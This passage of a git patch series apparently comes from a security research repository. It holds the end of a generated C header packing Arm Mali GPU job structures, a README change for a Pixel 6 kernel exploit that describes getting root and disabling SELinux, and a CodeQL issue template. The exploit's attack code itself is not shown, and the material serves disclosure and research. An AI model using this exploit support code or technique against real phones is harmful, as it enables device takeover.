+        MALI_JOB_TYPE_FUSED                  =      8,
+        MALI_JOB_TYPE_FRAGMENT               =      9,
+};
+
+enum mali_write_value_type {
+        MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER  =      1,
+        MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP =      2,
+        MALI_WRITE_VALUE_TYPE_ZERO           =      3,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_8    =      4,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_16   =      5,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_32   =      6,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_64   =      7,
+};
+
+
+struct MALI_WRITE_VALUE_JOB_PAYLOAD {
+   uint64_t                             address;
+   enum mali_write_value_type           type;
+   uint64_t                             immediate_value;
+};
+
+struct MALI_JOB_HEADER {
+   uint32_t                             exception_status;
+   uint32_t                             first_incomplete_task;
+   uint64_t                             fault_pointer;
+   bool                                 is_64b;
+   enum mali_job_type                   type;
+   bool                                 barrier;
+   bool                                 invalidate_cache;
+   bool                                 suppress_prefetch;
+   bool                                 enable_texture_mapper;
+   bool                                 relax_dependency_1;
+   bool                                 relax_dependency_2;
+   uint32_t                             index;
+   uint32_t                             dependency_1;
+   uint32_t                             dependency_2;
+   uint64_t                             next;
+};
+
+
+static inline void
+MALI_JOB_HEADER_pack(uint32_t * restrict cl,
+                     const struct MALI_JOB_HEADER * restrict values)
+{
+   cl[ 0] = __gen_uint(values->exception_status, 0, 31);
+   cl[ 1] = __gen_uint(values->first_incomplete_task, 0, 31);
+   cl[ 2] = __gen_uint(values->fault_pointer, 0, 63);
+   cl[ 3] = __gen_uint(values->fault_pointer, 0, 63) >> 32;
+   cl[ 4] = __gen_uint(values->is_64b, 0, 0) |
+            __gen_uint(values->type, 1, 7) |
+            __gen_uint(values->barrier, 8, 8) |
+            __gen_uint(values->invalidate_cache, 9, 9) |
+            __gen_uint(values->suppress_prefetch, 11, 11) |
+            __gen_uint(values->enable_texture_mapper, 12, 12) |
+            __gen_uint(values->relax_dependency_1, 14, 14) |
+            __gen_uint(values->relax_dependency_2, 15, 15) |
+            __gen_uint(values->index, 16, 31);
+   cl[ 5] = __gen_uint(values->dependency_1, 0, 15) |
+            __gen_uint(values->dependency_2, 16, 31);
+   cl[ 6] = __gen_uint(values->next, 0, 63);
+   cl[ 7] = __gen_uint(values->next, 0, 63) >> 32;
+}
+
+
+#define MALI_JOB_HEADER_LENGTH 32
+struct mali_job_header_packed { uint32_t opaque[8]; };
+static inline void
+MALI_JOB_HEADER_unpack(const uint8_t * restrict cl,
+                       struct MALI_JOB_HEADER * restrict values)
+{
+   if (((const uint32_t *) cl)[4] & 0x2400) fprintf(stderr, "XXX: Invalid field unpacked at word 4\n");
+   values->exception_status = __gen_unpack_uint(cl, 0, 31);
+   values->first_incomplete_task = __gen_unpack_uint(cl, 32, 63);
+   values->fault_pointer = __gen_unpack_uint(cl, 64, 127);
+   values->is_64b = __gen_unpack_uint(cl, 128, 128);
+   values->type = __gen_unpack_uint(cl, 129, 135);
+   values->barrier = __gen_unpack_uint(cl, 136, 136);
+   values->invalidate_cache = __gen_unpack_uint(cl, 137, 137);
+   values->suppress_prefetch = __gen_unpack_uint(cl, 139, 139);
+   values->enable_texture_mapper = __gen_unpack_uint(cl, 140, 140);
+   values->relax_dependency_1 = __gen_unpack_uint(cl, 142, 142);
+   values->relax_dependency_2 = __gen_unpack_uint(cl, 143, 143);
+   values->index = __gen_unpack_uint(cl, 144, 159);
+   values->dependency_1 = __gen_unpack_uint(cl, 160, 175);
+   values->dependency_2 = __gen_unpack_uint(cl, 176, 191);
+   values->next = __gen_unpack_uint(cl, 192, 255);
+}
+
+static inline const char *
+mali_job_type_as_str(enum mali_job_type imm)
+{
+    switch (imm) {
+    case MALI_JOB_TYPE_NOT_STARTED: return "Not started";
+    case MALI_JOB_TYPE_NULL: return "Null";
+    case MALI_JOB_TYPE_WRITE_VALUE: return "Write value";
+    case MALI_JOB_TYPE_CACHE_FLUSH: return "Cache flush";
+    case MALI_JOB_TYPE_COMPUTE: return "Compute";
+    case MALI_JOB_TYPE_VERTEX: return "Vertex";
+    case MALI_JOB_TYPE_GEOMETRY: return "Geometry";
+    case MALI_JOB_TYPE_TILER: return "Tiler";
+    case MALI_JOB_TYPE_FUSED: return "Fused";
+    case MALI_JOB_TYPE_FRAGMENT: return "Fragment";
+    default: return "XXX: INVALID";
+    }
+}
+
+static inline void
+MALI_JOB_HEADER_print(FILE *fp, const struct MALI_JOB_HEADER * values, unsigned indent)
+{
+   fprintf(fp, "%*sException Status: %u\n", indent, "", values->exception_status);
+   fprintf(fp, "%*sFirst Incomplete Task: %u\n", indent, "", values->first_incomplete_task);
+   fprintf(fp, "%*sFault Pointer: 0x%" PRIx64 "\n", indent, "", values->fault_pointer);
+   fprintf(fp, "%*sIs 64b: %s\n", indent, "", values->is_64b ? "true" : "false");
+   fprintf(fp, "%*sType: %s\n", indent, "", mali_job_type_as_str(values->type));
+   fprintf(fp, "%*sBarrier: %s\n", indent, "", values->barrier ? "true" : "false");
+   fprintf(fp, "%*sInvalidate Cache: %s\n", indent, "", values->invalidate_cache ? "true" : "false");
+   fprintf(fp, "%*sSuppress Prefetch: %s\n", indent, "", values->suppress_prefetch ? "true" : "false");
+   fprintf(fp, "%*sEnable Texture Mapper: %s\n", indent, "", values->enable_texture_mapper ? "true" : "false");
+   fprintf(fp, "%*sRelax Dependency 1: %s\n", indent, "", values->relax_dependency_1 ? "true" : "false");
+   fprintf(fp, "%*sRelax Dependency 2: %s\n", indent, "", values->relax_dependency_2 ? "true" : "false");
+   fprintf(fp, "%*sIndex: %u\n", indent, "", values->index);
+   fprintf(fp, "%*sDependency 1: %u\n", indent, "", values->dependency_1);
+   fprintf(fp, "%*sDependency 2: %u\n", indent, "", values->dependency_2);
+   fprintf(fp, "%*sNext: 0x%" PRIx64 "\n", indent, "", values->next);
+}
+
+static inline void
+MALI_WRITE_VALUE_JOB_PAYLOAD_pack(uint32_t * restrict cl,
+                                  const struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values)
+{
+   cl[ 0] = __gen_uint(values->address, 0, 63);
+   cl[ 1] = __gen_uint(values->address, 0, 63) >> 32;
+   cl[ 2] = __gen_uint(values->type, 0, 31);
+   cl[ 3] = 0;
+   cl[ 4] = __gen_uint(values->immediate_value, 0, 63);
+   cl[ 5] = __gen_uint(values->immediate_value, 0, 63) >> 32;
+}
+
+
+#define MALI_WRITE_VALUE_JOB_PAYLOAD_LENGTH 24
+#define MALI_WRITE_VALUE_JOB_PAYLOAD_header 0
+
+
+struct mali_write_value_job_payload_packed { uint32_t opaque[6]; };
+static inline void
+MALI_WRITE_VALUE_JOB_PAYLOAD_unpack(const uint8_t * restrict cl,
+                                    struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values)
+{
+   if (((const uint32_t *) cl)[3] & 0xffffffff) fprintf(stderr, "XXX: Invalid field unpacked at word 3\n");
+   values->address = __gen_unpack_uint(cl, 0, 63);
+   values->type = __gen_unpack_uint(cl, 64, 95);
+   values->immediate_value = __gen_unpack_uint(cl, 128, 191);
+}
+
+static inline const char *
+mali_write_value_type_as_str(enum mali_write_value_type imm)
+{
+    switch (imm) {
+    case MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER: return "Cycle Counter";
+    case MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP: return "System Timestamp";
+    case MALI_WRITE_VALUE_TYPE_ZERO: return "Zero";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_8: return "Immediate 8";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_16: return "Immediate 16";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_32: return "Immediate 32";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_64: return "Immediate 64";
+    default: return "XXX: INVALID";
+    }
+}
+
+static inline void
+MALI_WRITE_VALUE_JOB_PAYLOAD_print(FILE *fp, const struct MALI_WRITE_VALUE_JOB_PAYLOAD * values, unsigned indent)
+{
+   fprintf(fp, "%*sAddress: 0x%" PRIx64 "\n", indent, "", values->address);
+   fprintf(fp, "%*sType: %s\n", indent, "", mali_write_value_type_as_str(values->type));
+   fprintf(fp, "%*sImmediate Value: 0x%" PRIx64 "\n", indent, "", values->immediate_value);
+}
+
+struct mali_write_value_job_packed {
+   uint32_t opaque[14];
+};
+
+#define MALI_JOB_HEADER_header                  \
+   .is_64b = true
+
+#define MALI_WRITE_VALUE_JOB_LENGTH 56
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_TYPE struct MALI_JOB_HEADER
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_header MALI_JOB_HEADER_header
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_pack MALI_JOB_HEADER_pack
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_unpack MALI_JOB_HEADER_unpack
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_print MALI_JOB_HEADER_print
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_OFFSET 0
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_TYPE struct MALI_WRITE_VALUE_JOB_PAYLOAD
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_header MALI_WRITE_VALUE_JOB_PAYLOAD_header
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_pack MALI_WRITE_VALUE_JOB_PAYLOAD_pack
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_unpack MALI_WRITE_VALUE_JOB_PAYLOAD_unpack
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_print MALI_WRITE_VALUE_JOB_PAYLOAD_print
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_OFFSET 32
+
+#endif

From ed8b1fd316916ded3d3643fc530584bdc43b6f07 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Mon, 3 Apr 2023 08:34:48 +0100
Subject: [PATCH 102/104] Update link

---
 SecurityExploits/Android/Mali/GHSL-2023-005/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/README.md b/SecurityExploits/Android/Mali/GHSL-2023-005/README.md
index 76a9978..44409ad 100644
--- a/SecurityExploits/Android/Mali/GHSL-2023-005/README.md
+++ b/SecurityExploits/Android/Mali/GHSL-2023-005/README.md
@@ -1,6 +1,6 @@
 ## Exploit for GHSL-2023-005
 
-The write up can be found [here](). A security patch from the upstream Arm Mali driver somehow got missed out in the update for the Pixel phones and I reported it to Google in January 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
+The write up can be found [here](https://github.blog/2023-04-06-pwning-pixel-6-with-a-leftover-patch). A security patch from the upstream Arm Mali driver somehow got missed out in the update for the Pixel phones and I reported it to Google in January 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
 
 The exploit is tested on the Google Pixel 6 for devices running the January 2023 patch. For reference, I used the following command to compile it with clang in ndk-21:
 

From 63ba211eb8113bbed9694e68c3e0e85dc9f39104 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Sat, 15 Apr 2023 01:38:46 +0000
Subject: [PATCH 103/104] Create issue template for the wall of fame

---
 .github/ISSUE_TEMPLATE/wall-of-fame.yml | 59 +++++++++++++++++++++++++
 1 file changed, 59 insertions(+)
 create mode 100644 .github/ISSUE_TEMPLATE/wall-of-fame.yml

diff --git a/.github/ISSUE_TEMPLATE/wall-of-fame.yml b/.github/ISSUE_TEMPLATE/wall-of-fame.yml
new file mode 100644
index 0000000..326a408
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/wall-of-fame.yml
@@ -0,0 +1,59 @@
+name: CodeQL Wall of Fame submission
+description: Propose an entry to the CodeQL Wall of Fame (https://securitylab.github.com/codeql-wall-of-fame)
+title: "[wall-of-fame]: <short description>"
+labels: [wall-of-fame]
+body:
+  - type: markdown
+    attributes:
+      value: |
+        # Welcome!
+
+        Thank you for submitting an entry for the CodeQL Wall of Fame!
+
+        # Details
+  - type: input
+    id: date 
+    attributes:
+      label: Date
+      description: Publication date of the blog post, in YYYY-MM-DD format
+      placeholder: |
+        ex. 2023-01-01
+    validations:
+      required: true
+  - type: input
+    id: title 
+    attributes:
+      label: Title
+      description: Title of the blog post
+    validations:
+      required: true
+  - type: input
+    id: author
+    attributes:
+      label: Author
+      description: Author of the blog post
+    validations:
+      required: true
+  - type: input
+    id: url
+    attributes:
+      label: URL
+      description: URL of the blog post
+    validations:
+      required: true
+  - type: input
+    id: cve
+    attributes:
+      label: CVE
+      description: CVE ID(s), comma separated
+      placeholder: |
+        ex. CVE-2023-0001, CVE-2023-0002
+    validations:
+      required: true
+  - type: textarea
+    id: description
+    attributes:
+      label: description
+      description: Short summary of the blog post
+    validations:
+      required: true

From fc8e70fbf6bb652e8526408c1dbeb12fefcc1367 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Mon, 17 Apr 2023 20:26:30 -0700
Subject: [PATCH 104/104] Typo - missing capitalization

---
 .github/ISSUE_TEMPLATE/wall-of-fame.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/ISSUE_TEMPLATE/wall-of-fame.yml b/.github/ISSUE_TEMPLATE/wall-of-fame.yml
index 326a408..0489ed0 100644
--- a/.github/ISSUE_TEMPLATE/wall-of-fame.yml
+++ b/.github/ISSUE_TEMPLATE/wall-of-fame.yml
@@ -53,7 +53,7 @@ body:
   - type: textarea
     id: description
     attributes:
-      label: description
+      label: Description
       description: Short summary of the blog post
     validations:
       required: true